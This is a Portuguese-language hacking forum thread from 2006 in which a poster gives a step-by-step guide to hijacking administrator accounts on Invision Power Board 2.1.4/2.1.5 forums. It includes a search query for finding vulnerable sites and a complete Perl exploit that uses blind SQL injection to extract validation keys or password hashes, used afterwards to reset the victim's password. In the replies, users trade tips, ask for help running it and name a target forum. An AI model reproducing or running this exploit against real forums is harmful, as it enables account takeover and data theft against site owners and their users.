Ownando um IPB 2.1.5 passo-a-passo

Started by HadeS, 22 de June , 2006, 05:47:42 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

HadeS

Galera, vocês podem falar o que quiserem, também sou contra receitas de bolo, mas como o pessoal gosta, vou postar uma legal aqui.

Vou ensinar passo-a-passo como Ownar um IPB 2.1.4/2.1.5 . ;)

Primeiro, procure um fórum vulnerável, de preferência um IPB 2.1.4 (A busca: powered by Invision Power Board v2.1.5 pode ajudá-lo).

Você precisa de um cadastro válido, logo faça o cadastro.

Procure pelo adiministrador do sistema, ou sua vítima, e procure o User ID dele.

Dê Logout e vá à página de login. Clique em "Perdi minha senha" (Ou algo assim :P ).

Aparecerá uma mensagem dizendo que sua senha foi enviada para seu email.

Depois execute o exploit (Que se encontra no final do post), na parte que ele lhe pergunta o tipo ("Type") ponha 1 ("1. Validation Key Hash").

Ele irá lhe retornar uma hash MD5 (Essa hash é o Validation ID, VID, Chave de Validação, enviado ao e-mail da vítima). Copie e salve em algum lugar.

Agora vá à URL: http://www.vitima.com.br/index.php?act= ... stpassform

Insira o User ID da vítima, o VID (Aquele MD5 que o exploit retornou) e escolhe uma nova senha para o usuário.

Pronto! Você resetou a senha da vítima! Agora é só fazer a festa!


Exploit:
#!/usr/bin/perl

use HTTP::Cookies;
use LWP 5.64;
use HTTP::Request;


my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'f');
my %form = (act      => 'Msg',
   CODE      => '04',
   MODE      => '01',
   OID      => '',
   removeattachid   => '',
   msg_title   => 'asdf',
   bbmode      => 'normal',
   ffont      => 0,
   fsize      => 0,
   fcolor      => 0,
   LIST      => ' LIST ',
   helpbox      => 'Insert Monotype Text (alt + p)',
   tagcount   => 0,
   Post      => 'jkl');

my $ua = LWP::UserAgent->new;
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);
my $resp;

$ua->cookie_jar ($cj);

push @{ $ua->requests_redirectable }, "POST";

print "+-------------------------------------------------------------------------+\n";
print "| IPB Validation Key & Pass Exploit                                       |\n";
print "|                                                                         |\n";
print "| |Exploit Found & Researched By 3l3ctr1c and Demmo                       |\n";
print "|                                                                         |\n";
print "| |Possible Idea Given By SHAK                                            |\n";
print "| |Perl Modification By ReZEN of xorcrew                                  |\n";
print "|                                                                         |\n";
print "| http://h4cky0u.org                                                      |\n";
print "| www.bhunited.org.uk                                                     |\n";
print "|                                                                         |\n";
print "| For Information On How To Use This Exploit Visit the Above given URL(s) |\n";
print "|                                                                         |\n";
print "| Contact Us At : 3l3ctr1cS[AT]gmail[DOT]com                              |\n";
print "+-------------------------------------------------------------------------+\n";

print 'IPB Forum URL ? ';
chomp (my $base_url = <STDIN>);
print 'Your username ? ';
chomp (my $user = <STDIN>);
$form{entered_name} = $user;
print 'Your pass ? ';
chomp (my $pass = <STDIN>);
print 'Target userid ? ';
chomp (my $tid = <STDIN>);
print "Type: ? \n 0. Password Hash \n 1. Validation Key Hash\n";
chomp (my $type = <STDIN>);

if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }

do {
   $resp = $ua->post ($base_url . $login_page,
      [ UserName => $user,
        PassWord => $pass,
        CookieDate => 1,
      ]);
} while ($tries-- && !$resp->is_success());

$tries = 5;

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }

if ($resp->content =~ /sorry, the password was wrong/i) {
   die "Error: password incorrect.\n";
}

do {
   $resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());

$tries = 5;

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#)
{
   $form{post_key} = $1;
} else {
   die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#)
{
   $form{auth_key} = $1;
}

$| = 1;

print "\nAttempting to extract hash from database...\n ";

OFFSET:
for ($i = 0; $i < 32; ++$i) {
   CHAR:
   for ($j = 0; $j < @charset; ++$j) {
      $tries = 5;
      print "\x08", $charset[$j];
      $vid = "vid";
           
      if($type){
      $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
           . (join (',', map {ord} split ('', $user))) . ') FROM '
           . 'ibf_validating WHERE member_id = ' . $tid . ' AND MID('
           . 'vid, ' . ($i + 1) . ', 1) = CHAR('
           . ord ($charset[$j]) . ')';
           }else{
      $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
           . (join (',', map {ord} split ('', $user))) . ') FROM '
           . 'ibf_members WHERE id = ' . $tid . ' AND MID('
           . 'member_login_key, ' . ($i + 1) . ', 1) = CHAR('
           . ord ($charset[$j]) . ')';
           }
     
      $form{from_contact} = $sql;
     
      $resp = $ua->post ($base_url . $post_pm_page, \%form,
         referer => $base_url . $pm_page);
      if (!$resp->is_success()) {
         die "\nError: " . $resp->status_line
           . "\n" if (!$tries);
         --$tries;
         redo;
      }
      if ($resp->content =~ /sql error/i) {
         if ($need_null) {
            die "Error: SQL error.\n".$resp->content ;
         } else {
            $need_null = 1;
            print $resp->content;
            redo OFFSET;
         }
      } elsif ($resp->content !~ /there is no such member/i) {
         print ' ';
         next OFFSET;
      }
   }
   die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;

Façam bom uso.

Fonte: h4cky0u, traduzido e implementado por HadeS.

HadeS

Froz3nnn

Já tinha visto esse exploit!

Lembrando aos desinformados que se aparecer 00000000000000000000000000000000 quer dizer que o forum está patheado ou melhor, está sem essa vulnerabilidade!

.Froz3nnn
:)

Froz3nnn

http://www.gardensoccer.com/forums

:(
Se vocês souberem alguma coisa legal pra fazer me falem ?!

falou!

Wuefez

Acabei de tentar esse exploit fazendo tudo que você mandou fazer no forum do meu site (IPB 2.1.5) felizmente não funcionou...

QuoteJá tinha visto esse exploit!

Lembrando aos desinformados que se aparecer 00000000000000000000000000000000 quer dizer que o forum está patheado ou melhor, está sem essa vulnerabilidade!

.Froz3nnn

Cara se é muito inteligente sabia disso?


"Quem fala não faz."

Emilly Rose

QuoteJá tinha visto esse exploit!

Lembrando aos desinformados que se aparecer 00000000000000000000000000000000 quer dizer que o forum está patheado ou melhor, está sem essa vulnerabilidade!

.Froz3nnn

Cara se é muito inteligente sabia disso?
[/quote]


hahaha.. adorei seu post :P
Witherless Rose

Security

Quando aparece
Target user id?
q eu ponho \o/
flw?

Security

ae vejão se eu fiz certo :P

ae eu sai e deixei aberto..
quando voltei aparece isso :S

Security


#phobia

Amigo, leia a explicação do HadeS.

Quote from: "Froz3nnn"... na parte que ele lhe pergunta o tipo ("Type") ponha 1 ("1. Validation Key Hash").

Security

¬¬
a 2° dúvida eu queria saber a 1° eu ja achei..

#phobia

Sua 2° dúvida seria a questão dos 0000000000000000000000000000???

HadeS

Se aparecer "0"s, é porque o fórum não está vulnerável.

HadeS